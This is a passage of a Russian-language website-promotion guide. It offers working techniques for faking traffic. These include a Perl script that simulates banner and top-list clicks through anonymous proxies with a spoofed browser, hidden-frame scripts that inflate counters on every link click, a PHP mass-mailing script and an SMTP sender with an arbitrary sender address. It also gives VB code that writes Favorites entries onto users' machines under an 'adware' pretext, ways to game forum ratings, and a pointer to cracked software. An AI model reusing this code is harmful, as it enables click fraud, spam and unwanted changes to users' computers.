Обратите внимание, как легко включить в текст письма линки. Если включить в текст письма тэги, используемые в HTML-страницах, то можно отправлять письмо в формате web-страницы. И там можно размещать и банеры и счетчики, и линки с безусловным переходом и iframe. Все-таки, большинство использует web-интерфейс для почты, а Вам это, в данном случае, очень выгодно.
18. Как использовать чужие счетчики.
Зайдите на http://top.mail.ru и в нужном разделе (например, Авто) посмотрите, статистика какого сайта из ТОР-вых, не запаролена. Зайдите в статистику, посмотрите, с каких поисковых систем или из каких каталогов приходит наибольшее количество посетителей. Регистрируйтесь там же.
Или вот вообще почти анекдот – на несколько web-страниц, созданных для раскрутки форума, был установлен счетчик List.ru (та его часть, которая показывает статистику) с другого сайта, имеющего очень большой рейтинг. Интересно было потом в форуме прочитать восторженные записи о большой посещаемости. Т.е. значительная часть посетителей НЕ ПРОВЕРЯЕТ, чей счетчик реально стоит на странице.
19. Как размещать свои страницы на своих сайтах.
Как бы ничего сложного в этом нет. Однако, некоторые поисковые системы и каталоги (западные, чаще всего) требуют, чтобы при регистрации сайтов адрес был указан с символом "/" в конце адреса. Поэтому, для каждой страницы лучше делать отдельный каталог, страницы делать с именем index.htm или index.html.
Дополнительно для версии 6 руководства. Точно ак же можно использовать размещение имиджей для сайта. Если у Вас на сайте есть красивые картинки или фото, то лучше всего разместить их в разных каталогах. Файлы имиджей следует назвать словами, наиболее часто встречающимися в запросах поисковых систем. Например – mp3, free, soft, download, girl, photo, gallery и т.д. Размещение в различных каталогах позволит вам несколько разных фото анонсировать в поисковые системы с одним и тем же именем.
Можно сделать баннер на свои собственные страницы
http://barbie-moscow.narod.ru/
20. Серфинг-системы. Только не делайте на них ставку.
Так называемые, системы обмена траффиком, IP-адресами или посетителями - серфинг-системы.
Делятся, по-крупному, на системы, поддерживающие авто-серфинг и системы с ручным серфингом.
Дополнительно, можно в некоторых системах привлекать реферралов, т.е. строить пирамиду.
Позволяют быстро анонсировать свои страницы некоторому ограниченному (по количеству) кругу таких же "халявщиков". Бескорыстные и наивные пользователи в такие системы не заходят - незачем.
Системы серфинга позволяют быстро "поднять" свой счетчик, что может быть хорошо для демонстрации шефу (если Вы ответственный за продвижение сайта фирмы), показа банеров (пока банерная система не обратила на Вас внимание). Требует участия в серфинге ежедневно. Реферралов привлекать трудно - нужно много времени и труда для кропотливой работы.
Из удобных систем серфинга:
www.neosap.com - удобный интерфейс, возможность выбора ручной/автосерфинг, хороший список настройки параметров серфинга, можно рекламировать сразу несколько страниц. Недостаток - не самый большой список участников.
http://www.autoraskrutka.ru/ - все то же самое.
http://www.autohits.dk - англоязычная система, но работает и с русскоязычными сайтами. Позволяет крутить одновременно только одну страницу. Очень много зарегистрированных пользователей. Если вы несколько недель не запускаете систему серфинга, ваш аккаунт блокируется. Недостатком системы является то, что в статистике счетчиков четко прописывается адрес "раскрутчика" www.autohits.dk
21. Хостинг одной страницы.
Если дисковое пространство в Вашем распоряжении велико, эксплуатируйте его чужими руками. Разыщите на бесплатных хостингах интересные web-сайты. Предложите разместить их Index страницы в отдельном каталоге на Вашем сервере (все остальные страницы, картинки и т.д. можно и не переносить. Просто указать абсолютные адреса их загрузки с прежнего адреса). Предложите авторам совместно рекламировать первую страницу.
Ваше предложение может быть интересно тем, чьи сайты имеют очень длинные имена, медленный доступ (chat.ru , nm.ru, tam.ru) или не имеют некоторых сервисов (например, PHP или Perl).
Имея несколько таких карманных проектов, можно легко "перекачивать" траффик.
Если авторы вырастут до самостоятельного платного хостинга, Вы ничего не потеряете. В поисковых системах еще долго будут стоять ссылки на Ваши каталоги. Разместив там свои страницы, скрипты пересылки или файл . htaccess , Вы легко "приручите" поток пользователей. Таким приемом очень часто пользуются. На бесплатном хостинге NM.RU часто удаляют страницы пользователей и делают пересылку на страницу обработки 404 ошибки. Количество показов банеров на этой странице огромно.
Дополнительно для версии руководства 6. Если вы размещаете на своем домене страницы с тематикой, не совпадающей с тематикой или дизайном своего сайта, то лучше всего при этом создавать поддомены на своем сайте.
Например, для сайта http://www.oflameron.com – поддомен http://delphi.oflameron.com
В таком варианте их значительно выгоднее прописывать в поисковиках и каталогах.
22. Как снять сливки с каждого линка своей страницы
Если у Вас есть страницы с большим количеством линков (каталог линков), то каждый переход посетителя по линку может "поднимать" Ваш счетчик, показывать банер.
Для этого нужно использовать следующий PHP скрипт, размещенный в файле load.php
Пример:
<html><head><title>Автор карточной игры Valery V Shmeleff
</title>
</head>
<? //Организовать фреймы left.htm - только счетчик argv[0] - загружаемые файлы
print "<FRAMESET COLS=\"0,*\" BORDER=0 framespacing=0 frameborder=0>\n";
print "<FRAME SRC=\"left.htm\" NAME=\"dleft\" MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no NORESIZE>\n";
print "<FRAME src=\"".$argv[0]."\" NAME=\"dright\" MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=auto NORESIZE>\n";
print "</FRAMESET>\n";
?>
<body bgcolor=black text=black leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
</body></html>
( Строки оранжевого цвета должны быть записаны без переносов.) Пример записан в архиве в файл
load.php
И так же создайте файл left.htm , в котором разместите необходимую для "прокручивания" информацию - счетчик, банер.
<html><head>
<title></title>
<meta content="" name=Description>
<meta content="" name=Keywords>
<base target=_top></head>
<body bgcolor=black text=black leftMargin=0 topMargin=0 marginwidth=0 marginheight=0>
<!--- Счетчик --->
<!--TopList COUNTER-->
.
.
.
.
<!--TopList COUNTER-->
<!--- --->
</body></html>
Если Вы разместите файлы load.php и left.htm , к примеру, в каталоге
http://www.lolik.ru/load/
то линки на Ваших страницах надо переписать ввиде:
Было - <a href="http://www.mp3search.com">Mp3-Search</a>
Новый - <a href="http://www.lolik.ru/load/load.php?http://www.oflameron.ru/ee/">Скачай игры</a>
Это только базовый вариант.
Неплохо бы спрятать собственно пустой файл left.htm от любопытных глаз.
23. Классический скрипт для “накрутки” посещений
Вариант скрипта на Perl. Найден где-то в Internet без указания авторства. Приводится без изменений.
КЛИКЕР - скрипт для имитации посещений web-сайтов.
КЛИКЕР - Perl-скрипт для имитации посещений web-сайтов. Данное руководство позволит Вам создать и использовать свою программу для web-серфинга. Для этого Вам понадобится установить на машине web-сервер, например Apache. И использовать список анонимных прокси-серверов.
Для написания самого скрипта рекомендуется использовать PerlBuilder. Это довольно удобная софтина, которая умеет выделять программу цветом, проверять синтаксис и многие другие вещи. Найти ее можно где-то на листсофте, (www.listsoft.ru), а регистрашку к ней - на асталависте (www.astalavista.box.sk).
Чтобы PerlBuilder нормально понимал русский, в каталоге windows найди файл "pbuilder.ini". В нем есть строчка: "Font Face=Courier New". Замените ее на "Font Face=Courier New Cyr" и перезапустите PerlBuilder.
Первая строка скрипта - это путь к перлу на шелле. Чаще всего это:
#!/usr/bin/perl.
Потом к скрипту подключаем дополнительные модули:
use HTTP::Request::Common;
require LWP::UserAgent;
Инициализируем генератор случайных чисел и уменьшим буфер до единицы:
srand($$ & time ^ $$);
$|=1;
Теперь откроем файл, в котором хранится список твоих проксей:
open(PROXY, "proxy.lst");
@proxies=;
chomp(@proxies);
close(PROXY);
Все адреса проксей должны храниться в текстовом файле с именем "proxy.lst". В следующем формате:
адрес.сервера:порт
адрес.сервера:порт
Инициализируем переменную "$suc", а в "$pr" записываем адрес прокси, случайно выбранного из всего списка.
$suc=1;
$pr = splice(@proxies, int rand @proxies, 1);
Теперь самое интересное. Создадим виртуальный браузер, который будет заходить по ссылке, тем самым кликая по баннеру. Этот скрипт будет изображать собой IE5 и Windows98.
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)");
$ua->timeout(60);
$ua->proxy('http',"http://".$pr);
print "Try... $pr ";
Браузер готов, теперь - заголовок, который браузер передаст серверу.
$h1 = new HTTP::Headers
Accept => 'application/vnd.ms-excel, application/msword, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-comet, */*',
User_Agent => 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)',
Referer => 'http://www.xakep.ru/default.asp';
Замените "http://www.nnm.ru/ " на адрес своей страницы, на которой висит кнопка топа. Настало время делать запрос:
$req1 = new HTTP::Request ('GET', 'http://fomenko.ru/cgi-bin/top/lspro.cgi?click=номер', $h1);
$response=$ua->request($req1);
$suc=$response->is_success;
Делаете запрос к серверу и получаете от него ответ. Слово "номер" замени на свой номер, который тебе выдали при регистрации.
Теперь надо обработать результат, и если все прошло нормально, записать его в файл "click.log"
($suc) || print $response->code;
if ($suc) {
open(FH,">>click.log");
print FH $pr."\n";
close FH;
};
($suc) && print "+";
И завершить работу скрипта
exit;
Вот и весь текст скрипта. Не правда ли, все просто? Самое важное - найти место, где разместить свой скрипт и получить доступ к Shell.
Установка
Как определить, есть ли на твоем шелле возможность запустить кликер или нет? Кликер запускается с помощью программки "cron". Это своеобразный аналог Планировщика из виндов. Указываете программу, которую надо запускать, и устанавливаете время. Для создания задания необходимо будет создать файл в формате "crontab" (Unix-команда для периодического выполнения программ).
Допустим, Вы решили, что скрипт должен запускаться через каждые 20 минут, начиная с полуночи. Для этого надо написать:
0, 20, 40, * * * * clicker.pl
Где "clicker.pl" - имя твоего кликера.
Если у Вас не доступа к Shell, то можно попробовать вызывать скрипт каждый раз, когда на Вашу страничку заходит посетитель. Но для этого Ваш хостинг должен поддерживать perl и ssi. Изменим чуть-чуть наш скрипт. Для этого после строки:
#!/usr/bin/perl
добавьте:
print "Content-type: text/html\n\n";
И в html файл своей странички добавьте ssi команду вызова скрипта:
<!--#include virtual="/cgi-bin/clicker.pl"-->
Предварительно скопировав "clicker.pl" в каталог "cgi-bin" и установив права доступа к файлу командой "chmod 755".
Итого:
Совершенно реальный и работоспособный скрипт. Найти список прокси-серверов можно на любом из поисковиков.
24. Маленькая личная рассылка.
Если у Вас есть хостинг с поддержкой PHP и отправка почты разрешена, то можно сделать маленькую рассылку информации по списку адресов. При каждом посещении страницы с Вашего сервера будет отправляться одно письмо по адресу, взятому из файла со списком адресов.
Полный листинг скрипта на PHP
<html><head>
</head>
<body bgcolor=c4cabb text=black link=0069a3 vlink=0069a3>
<?php
//Прочитать список адресов подписчиков
$filename="mailbaza.txt";
//Читать файл
$fp = @fopen($filename,"r");
if ($fp) {
$rew =@File($filename);
@fclose($fp);
} else {
}
$sendaddr = $rew[0]; //Первый e-mail из списка зпомнить
$r = Count($rew); //Количество строк с адресами
$r--; //Уменьшить число записей на 1
//Записать в тот же файл mailbaza.txt, но на 1 адрес меньше
$fp = fopen($filename,"w");
if ($fp) {
for ($j = 1; $j < $r; $j++) {
fputs($fp,$rew[$j]);
}
fclose($fp);
}
//Отправить сообщение подписчику
$subject = "Руководство по Раскрутке Web-Сайтов";
$message = "Здравствуйте!\n";
mail($sendaddr,$subject,$message,"From: webmaster@$SERVER_NAME\nX-Mailer: PHP/" . phpversion());
?>
</body></html>
Пример записан в файле mail-submitter.php
E- mail адреса должны быть записаны в файл mailbaza.txt в следующем виде:
primer@yahoo.com
text@yahoo.com
hello@mail.ru
new@tr.ru
и т.д.
Однако некоторые бесплатные хостинги уже ограничили отправку почты с web-сайтов через PHP. В этом случае можно заказать очень недорогой платный хостинг. Если писем будет отправляться слишком много (при хорошей посещаемости Вашего сайта), то хостер может Вам указать на попытки организации Вами массовой рассылки. Здесь очень важно ставить в качестве адреса отправителя свой реальный почтовый адрес.
Для обеспечения рассылки писем подписчикам можно использовать почтовую программу на Visual BASIC 6.0 , листинг которой приведен ниже.
25. Отправка почты по списку. Листинги на Visual BASIC
Если не лениться и думать, то можно организовать рассылку почтовых информационных сообщений и при этом не спамить.
Сначала листинг на Visual BASIC 6.0
Attribute VB_Name = "frmSendMail"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Enum SMTP_State
MAIL_CONNECT
MAIL_HELO
MAIL_FROM
MAIL_RCPTTO
MAIL_DATA
MAIL_DOT
MAIL_QUIT
End Enum
Private m_State As SMTP_State
Private m_strEncodedFiles As String
'
Private Sub cmdAddFile_Click()
With ComDialog
.ShowOpen
If Len(.FileName) > 0 Then
lstAttachments.AddItem .FileName
End If
End With
End Sub
Private Sub cmdClose_Click()
Unload Me
End Sub
Private Sub cmdNew_Click()
txtRecipient = ""
txtSubject = ""
txtMessage = ""
End Sub
Private Sub cmdRemove_Click()
On Error Resume Next
lstAttachments.RemoveItem lstAttachments.ListIndex
End Sub
Private Sub cmdSend_Click()
'
Dim i As Integer
'
'Разбираем Аттач
'
For i = 0 To lstAttachments.ListCount - 1
lstAttachments.ListIndex = i
m_strEncodedFiles = m_strEncodedFiles & _
UUEncodeFile(lstAttachments.Text) & vbCrLf
Next i
'
Winsock1.Connect Trim$(txtHost), 25
m_State = MAIL_CONNECT
'
End Sub
Private Sub Form_Load()
'
'Очистить все textboxes
'
For Each ctl In Me.Controls
If TypeOf ctl Is TextBox Then
ctl.Text = ""
End If
Next
'
End Sub
Private Sub Form_Unload(Cancel As Integer)
Set m_colAttachments = Nothing
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strServerResponse As String
Dim strResponseCode As String
Dim strDataToSend As String
Winsock1.GetData strServerResponse
Debug.Print strServerResponse
strResponseCode = Left(strServerResponse, 3)
If strResponseCode = "250" Or _
strResponseCode = "220" Or _
strResponseCode = "354" Then
Select Case m_State
Case MAIL_CONNECT
m_State = MAIL_HELO
strDataToSend = Trim$(txtSender)
strDataToSend = Left$(strDataToSend, _
InStr(1, strDataToSend, "@") - 1)
Winsock1.SendData "HELO " & strDataToSend & vbCrLf
Debug.Print "HELO " & strDataToSend
Case MAIL_HELO
m_State = MAIL_FROM
Winsock1.SendData "MAIL FROM:" & Trim$(txtSender) & vbCrLf
Debug.Print "MAIL FROM:" & Trim$(txtSender)
Case MAIL_FROM
m_State = MAIL_RCPTTO
Winsock1.SendData "RCPT TO:" & Trim$(txtRecipient) & vbCrLf
Debug.Print "RCPT TO:" & Trim$(txtRecipient)
Case MAIL_RCPTTO
m_State = MAIL_DATA
Winsock1.SendData "DATA" & vbCrLf
Debug.Print "DATA"
Case MAIL_DATA
m_State = MAIL_DOT
Winsock1.SendData "Subject:" & txtSubject & vbLf & vbCrLf
Debug.Print "Subject:" & txtSubject
Dim varLines As Variant
Dim varLine As Variant
Dim strMessage As String
strMessage = txtMessage & vbCrLf & vbCrLf & m_strEncodedFiles
m_strEncodedFiles = ""
varLines = Split(strMessage, vbCrLf)
strMessage = ""
For Each varLine In varLines
Winsock1.SendData CStr(varLine) & vbLf
Debug.Print CStr(varLine)
Next
Winsock1.SendData "." & vbCrLf
Debug.Print "."
Case MAIL_DOT
m_State = MAIL_QUIT
Winsock1.SendData "QUIT" & vbCrLf
Debug.Print "QUIT"
Case MAIL_QUIT
Winsock1.Close
End Select
Else
Winsock1.Close
If Not m_State = MAIL_QUIT Then
MsgBox "SMTP Error: " & strServerResponse, _
vbInformation, "SMTP Error"
Else
MsgBox "Message sent successfuly.", vbInformation
End If
End If
End Sub
Private Sub Winsock1_Error( ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "Winsock Error number " & Number & vbCrLf & _
Description, vbExclamation, "Winsock Error"
End Sub
Отправка почты выполняется через Winsock. Обратный адрес задается Вами. Программа умеет отправлять письмо с аттачем. Пример полностью работоспособен.
Дополнительный файл M_UUCode.bas
Attribute VB_Name = "M_UUCode"
Public Function UUDecodeToFile(strUUCodeData As String, strFilePath As String)
Dim vDataLine As Variant
Dim vDataLines As Variant
Dim strDataLine As String
Dim intSymbols As Integer
Dim intFile As Integer
Dim strTemp As String
If Left$(strUUCodeData, 6) = "begin " Then
strUUCodeData = Mid$(strUUCodeData, InStr(1, strUUCodeData, vbLf) + 1)
End If
If Right$(strUUCodeData, 4) = "end" + vbLf Then
strUUCodeData = Left$(strUUCodeData, Len(strUUCodeData) - 7)
End If
intFile = FreeFile
Open strFilePath For Binary As intFile
vDataLines = Split(strUUCodeData, vbLf)
For Each vDataLine In vDataLines
strDataLine = CStr(vDataLine)
intSymbols = Asc(Left$(strDataLine, 1))
strDataLine = Mid$(strDataLine, 2, intSymbols)
For i = 1 To Len(strDataLine) Step 4
strTemp = strTemp + Chr((Asc(Mid(strDataLine, i, 1)) - 32) * 4 + _
(Asc(Mid(strDataLine, i + 1, 1)) - 32) \ 16)
strTemp = strTemp + Chr((Asc(Mid(strDataLine, i + 1, 1)) Mod 16) * 16 + _
(Asc(Mid(strDataLine, i + 2, 1)) - 32) \ 4)
strTemp = strTemp + Chr((Asc(Mid(strDataLine, i + 2, 1)) Mod 4) * 64 + _
Asc(Mid(strDataLine, i + 3, 1)) - 32)
Next i
Put intFile, , strTemp
strTemp = ""
Next
Close intFile
End Function
Public Function UUEncodeFile(strFilePath As String) As String
Dim intFile As Integer 'file handler
Dim intTempFile As Integer 'temp file
Dim lFileSize As Long 'size of the file
Dim strFileName As String 'name of the file
Dim strFileData As String 'file data chunk
Dim lEncodedLines As Long 'number of encoded lines
Dim strTempLine As String 'temporary string
Dim i As Long 'loop counter
Dim j As Integer 'loop counter
Dim strResult As String
strFileName = Mid$(strFilePath, InStrRev(strFilePath, "\") + 1)
strResult = "begin 664 " + strFileName + vbLf
lFileSize = FileLen(strFilePath)
lEncodedLines = lFileSize / 45 + 1
strFileData = Space(45)
intFile = FreeFile
Open strFilePath For Binary As intFile
For i = 1 To lEncodedLines
If i = lEncodedLines Then
strFileData = Space(lFileSize Mod 45)
End If
Get intFile, , strFileData
strTempLine = Chr(Len(strFileData) + 32)
If i = lEncodedLines And (Len(strFileData) Mod 3) Then
strFileData = strFileData + Space(3 - (Len(strFileData) Mod 3))
End If
For j = 1 To Len(strFileData) Step 3
strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j, 1)) \ 4 + 32)
strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j, 1)) Mod 4) * 16 _
+ Asc(Mid(strFileData, j + 1, 1)) \ 16 + 32)
strTempLine = strTempLine + Chr((Asc(Mid(strFileData, j + 1, 1)) Mod 16) * 4 _
+ Asc(Mid(strFileData, j + 2, 1)) \ 64 + 32)
strTempLine = strTempLine + Chr(Asc(Mid(strFileData, j + 2, 1)) Mod 64 + 32)
Next j
strResult = strResult + strTempLine + vbLf
strTempLine = ""
Next i
Close intFile
strResult = strResult & "'" & vbLf + "end" + vbLf
UUEncodeFile = strResult
End Function
Полный листинг программы со всеми формами и файлами приложен к этому руководству в архиве SendMail.zip Листинг «заимствован» из открытой публикации в Internet.
26. Работа со спонсором. Работа НА спонсора.
Если Ваш сайт добился некоторых успехов и имеет посещаемость 500-600 реальных хостов в день, у Вас появляется возможность использовать эти значения как «подставку» под рычаг, которым Вы поднимете посещаемость еще в несколько раз. Но! Посещаемость должна быть совершенно честной, не «накрученной».
Вы посещаете каталог ресурсов Internet и выбираете в разных разделах по 5-6 сайтов с посещаемостью в 3-4 раза ниже, чем у Вас.
Создаете маленькую форму для регистрации входа в Ваш сервис – например в бесплатный почтовый сервис (см. описанный выше скрипт) или хороший каталог WAREZ-а.
Один из примеров:
Пример. Исходная форма была несколько не такая. J
На своей web-странице пишете, что вход осуществляется только со страницы спонсора, все пароли и логины сохраняются.
Что это дает? Пользователи, которые реально пользовались Вашим сервисом будут заходить через страницу спонсора, накручивая вам доход а спонсору посещаемость и, возможно, так же доход. Если умело написать код своей формы на странице спонсора, то и все «его» посетители будут «поднимать» показатели так же и Вашей статистики, делая ее еще привлекательнее для других спонсоров. А вариантов здесь (с IFRAME, или PHP скриптами – полно). Очень полезно проверку при входе выполнять PHP скриптом (например). Нужно проверять, с какого URL-а к Вам пришел пользователь и вести учет для контроля спонсора и для того, чтобы пользователь мог зайти только от спонсора.
27. Как вписать нужный URL в Favorites IE
Надо- ли говорить, что очень многие желали бы прописать адреса своих сайтов в Favorites броузеров пользователей Internet. На страницах ставят всякие кнопочки с предложением «кликнуть», чтобы ее адрес запомнился. Однако, много-ли «кликают»?
А между тем, прописать нужный адрес в Favorites (и даже несколько адресов сразу) очень просто, если пойти другим путем. Через «заднее крыльцо» (обратите внимание, что Вы обязаны в каком-либо виде проинформировать пользователя о такой особенности программы).
Выше уже приводился VBS -скрипт, который устанавливал стартовую страницу броузера на нужный адрес – соответствующая информация заносилась в регистр Windows в соответствующий раздел. Но ведь то же самое можно делать и из обычных программ. Например, программы на Visual BASIC.
Пример для Windows 2000 и Windows XP (в других версиях Windows адрес для Favorites может быть иной):
'Создать запись в IE Favorites
'из регистра Windows
On Error Resume Next
Ltext = Len(stringbuffer) 'Длина пути к папке Favorites
Ltext = Ltext - 1 'Длина минус возврат строки
'Сформировать в переменной text полный путь в папке Favorites
text = Mid(stringbuffer, 1, Ltext) + "\" + "== Легенда 1902 года ==.url"
Str1(0) = "[DEFAULT]"
Str1(1) = "BASEURL=http://www.oflameron.ru/ee/"
Str1(2) = "[InternetShortcut]"
Str1(3) = "URL=http://www.oflameron.ru/ee/"
Str1(4) = "Modified=70037C581883C001A3"
ind = 1
Kill text 'Стереть предыдущую версию записи в Favorites, если она была
For i = 0 To 4
Str1(i) = Str1(i) + Chr$(13) + Chr$(10)
Open text For Binary As #1 Len = Len(Str1(i))
Put #1, ind, Str1(i)
ind = ind + Len(Str1(i)) 'номер следующей записи
Close #1
Next i
Т.е. запись в Favorites – не что иное, как запись текстового файла на диске в определенном каталоге. Ничто не мешает Вам записать сразу несколько ссылок. Но!
Если Вы будете просто вносить записи в Favorites компьютеров пользователей без их желания, то Вы тем самым нарушите массу всяких законов, что вредно. И неприлично. Чтобы этого не случилось, нужно сразу объявить пользователю Вашей программы, что она распространяется БЕСПЛАТНО, но на условиях ADWARE.
Пояснение - ADWARE
Несколько лет назад к двум видам распространения программного обеспечения, не требующим немедленной и непосредственной оплаты, — бесплатным (freeware) и условно-бесплатным (shareware) — добавился еще один, который впоследствии получил название adware. Суть его весьма тривиальна: конечному пользователю нет необходимости платить за программу, вместо этого ему показывают рекламу, а деньги создатели программы получают от рекламодателей. Так разрешается известное противоречие: разработчик хочет получать заработанные честным трудом деньги, а пользователь не хочет платить за программу.
Т.е. пользователь все знает и не против – запустил программу, значит согласен. Но информацию Вы в архиве к программе приложить должны. А уж будет кто читать или нет …
Дополнительно для версии руководства 6. Этот сервис можно использовать и в «мирных» целях. Можно создать каталог файлов не на web сервере, а прямо на компьютере пользователя. Т.к. favorites (Избранное) имеет древовидную структуру, то можно легко и быстро создать списки ссылок на любопытные ресурсы. Например, 200 линков по эротике, 100 линков на MP3 сайты, 100 линков на архивы программ. Один из примеров можно посмотреть здесь:
http://www.tam.ru/thebest/
Этот сервис тем более перспективен, что в каталогах ПО сейчас эта ниша почти не занята.
27. Психологические особенности раскрутки
Многие термины, слова, словосочетания, изображения уже у «всех на слуху», но не зарегистрированы как торговый знак (или просто не могут быть зарегистрированы как таковые). И этим можно и нужно воспользоваться.
Например, несколько лет назад была написана малюсенькая программка для увеличения посещаемости и ей было присвоено громкое имя WWWIAGRA
За один месяц с сайта программного обеспечения было скачано 900 копий программы! Представьте себе это количество в свете предыдущего пункта руководства – прописывания URL в Favorites. А за два месяца…
28. Как и Что просить
В отечественном Интернете много страниц , созданных на бесплатных хостингах, поддержка которых авторами по разным причинам давно заброшена. Как можно использовать ресурс таких страниц? Один из специалистов не поленился и «бросил клич» - что он возьмет на содержание старые web-страницы, не нужные их авторам. В результате небольшой работы на форумах и досках объявлений он получил пароли почти к 200 сайтам.
При средней посещаемости таких web-сайтов 5 IP-адресов в сутки суммарную посещаемость Вы можете легко подсчитать сами. А как воспользоваться таким трафиком было описано выше.
Дополнительно для версии руководства 6. Сейчас на эти возможности уже обратили внимание. Сервис MAIL.RU поддерживает рассылки. Авторские рассылки, которые несколько месяцев не выходят (т.е. брошены авторами) передаются другим пользователям. А у некторых таких рассылок по 2 – 4 тысячи подписчиков. Конечно, процент читаемости разосланных писем может очень сильно колебаться. Но добиться 50% -ной читаемости реально возможно. Представляете, с каждой рассылки к вам будет прибавляться по 1000 хостов!?
Рассылки Mail.ru http://content.mail.ru/pages/p_8145.html
Этот сервис довольно удачен – есть каталог рассылок, из которого приходит много регистраций.
29. Что такое «Офламерон»
Старинный рецепт изящного кофе.
"Офламерон"
- Старый способ приготовления кофе, ныне очень редко используемый. Первое упоминание встретилось в меню столичного ресторана в 1901 году. Имеется два варианта заваривания кофе "Офламерон", различающихся для горьковатых сортов кофе и кисловатых сортов кофе.
Вариант 1 - Для кисловатых сортов кофе. На каждые 60-70 грамм чистой (нехлорированной) воды кладется: - 1 чайная ложка кофе мелкого помола. Кофе добавляется в чуть-теплую воду. Смесь нагревается на умеренном огне. В самом начале образования пенки добавляется 1-2 чайных ложки настоящего полусладкого шампанского из которого уже улетучился газ. Кофе снимается с огня когда кофейная пена станет "массивной".
Вариант 2 - Для горьковатых сортов кофе. На каждые 60-70 грамм чистой (нехлорированной) воды кладется: - 1 чайная ложка кофе мелкого помола. Первая ложка перед взятием кофе окунается в слабую ванильную воду. Смесь нагревается на умеренном огне. В самом начале образования пенки добавляется 1-2 чайных ложки настоящего полусухого шампанского из которого уже улетучился газ. Кофе снимается с огня когда кофейная пена станет "массивной".
- Часть 2 -
Курочка по зернышку клюет, а сыта бывает!
Любая посещаемость начинается с единицы.
30. Как сделать мигающий текст на странице. Скрипт
Мигающий текст на web-странице привлекает внимание. Сделать мигающую надпись можно создав анимационный GIF-файл. Однако это решение – не лучшее, т.к. графический файл имеет немаленькие размеры.
Создадим мигающую надпись с помощью JAVA-script.
Показаны только необходимые строки HTML-страницы:
<body leftMargin=0 topMargin=0 marginwidth=0 marginheight=0 onLoad="show256();">
…….
<TABLE cellSpacing=0 cellPadding=0 width=710 border=0>
<tr>
<td width=710 align=center><font class=lenta> </font><br><H1>
<span id="liveclock"></span>
<script language="JavaScript">
<!--
var trigg="0"
function show256(){
if (!document.layers&&!document.all)
return
var Digital=new Date()
var seconds=Digital.getSeconds()
if (trigg=="0"){
trigg="1"
myclock=""OFLAMERON" - Origi"+"nal Pap"+"ers & Pen"+"cil & Di"+"ce GA"+"ME"
}
else { if (trigg=="1"){
trigg="0"
myclock=" "
}
}
if (document.layers){
document.layers.liveclock.document.write(myclock)
document.layers.liveclock.document.close()
}
else if (document.all)
liveclock.innerHTML=myclock
setTimeout("show256()",1000)
}
//-->
</script>
</H1></td>
<tr>
</table>
……….
В данном случае будет мигающей надпись, помещенная в заголовок <H1> ….. </H1>
Частота мигания меняется в строке setTimeout("show256()",1000)
31. Как использовать форумы. Вариант 2.
Есть системы, предоставляющие возможность «арендовать» форум для своего сайта. При этом все данные будут храниться на сервере предоставляющей стороны. Некоторые web-серверы, предоставляющие такие услуги поддерживают так же рейтинг форумов, которые сами же и предоставляют. Примером такого сервиса – http://forum.userline.ru
Эти форумы многочисленны, есть TOP форумов. Особенность программного обеспечения сервера в том, что рейтинг форумов определяется только количеством
записей. Т.е. имеется возможность быстро создать форум, который попадет в TOP10 и будет показываться на первой странице рейтинга. Число желающих посетить TOP-овые форумы здесь достаточно приличное.
На странице форума умещается 50 записей. Достаточно создать 2-3 страницы, просто внося записи с лент новостей и т.д. Затем перейти к последней странице форума и начать составлять однотипные и однообразные ответы на уже существующие записи! Рейтинг Вашей страницы станет быстро расти. Записи в конце форума (на самых первых страницах) читают далеко не все. На http://forum.userline.ru каждый пользователь может редактировать свой форум, добавляя вверху и внизу страницы своего форума HTML код ( в т.ч. и JAVA script «безусловного» перехода. IFRAME и счетчик). Когда Ваш форум будет иметь достаточно много записей, посетители, раскручивающие свои проекты начнут оставлять в нем свои рекламные записи и ссылки – станут работать на Вас. Тогда можно будет необходимым образом откорректировать HTML-код, вставив счетчики, банеры или перекачивая трафик.
32. XML – Даже если Вы его не знаете
Выше был уже описан один из приемов раскрутки, основанный на создании большого количества web-сайтов, ссылающихся друг на друга. Можно использовать некоторое расширение этого метода.
Используйте редактор, умеющий сохранять документы в формате XML. Редактор Microsoft Word умеет это делать. В качестве образца:
<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns:st1="urn:schemas-microsoft-com:office:smarttags"
xmlns="http://www.w3.org/TR/REC-html40">
…………………………………………………………….
Т.е. создав один раз документ, Вы можете сформировать минимум 2 web-сайта, которые поисковыми системами будут проиндексированы НЕ ОДИНАКОВО.
33. Еще JAVA-скрипт
Сделайте переход по ссылкам не напрямую, как обычно, а через JAVA-скрипт. В примере показана сама функция и пример ее объявления в <A href= …..>….</A>
<html>
<head>
<title>Открыть ссылку через JAVA-скрипт</title>
</head>
<body>
<script>
function picture(unit,page) {
Win=open('http://topgun.rin.ru//cgi-bin/picture.pl?unit='+unit+'&page='+page,'picture','width=800,height=600;toolbar=no,status=no,menubar=no,scrollbars=yes');
}
</script>
<A HREF="javascript:void(0)" ONCLICK="picture(2056,8)"><img src='http://topgun.rin.ru/images_small/2056_7.jpg' HSPACE="4" BORDER="0"></A>
</body>
</html>
Красная и зеленая записи должны быть выполнены в одну строку каждая (в документе Word просто не уместились по ширине листа).
Что это дает? Если у Вас на страницах много ссылок (а их всегда можно добавить), то переход на данную технологию поможет Вам значительно увеличить количество показов, например, банеров. Ведь каждый раз при переходе по ссылке будет срабатывать JAVA-скрипт (функция function picture(unit,page)), а в нее можно дописать свои строки по очень простой технологии:
d=document;
d.write("< …. Здесь HTML код ….>");
d.write("< …. Здесь HTML код ….>");
d.write("< …. Здесь HTML код ….>");
d.write("< …. Здесь HTML код ….>");
…..
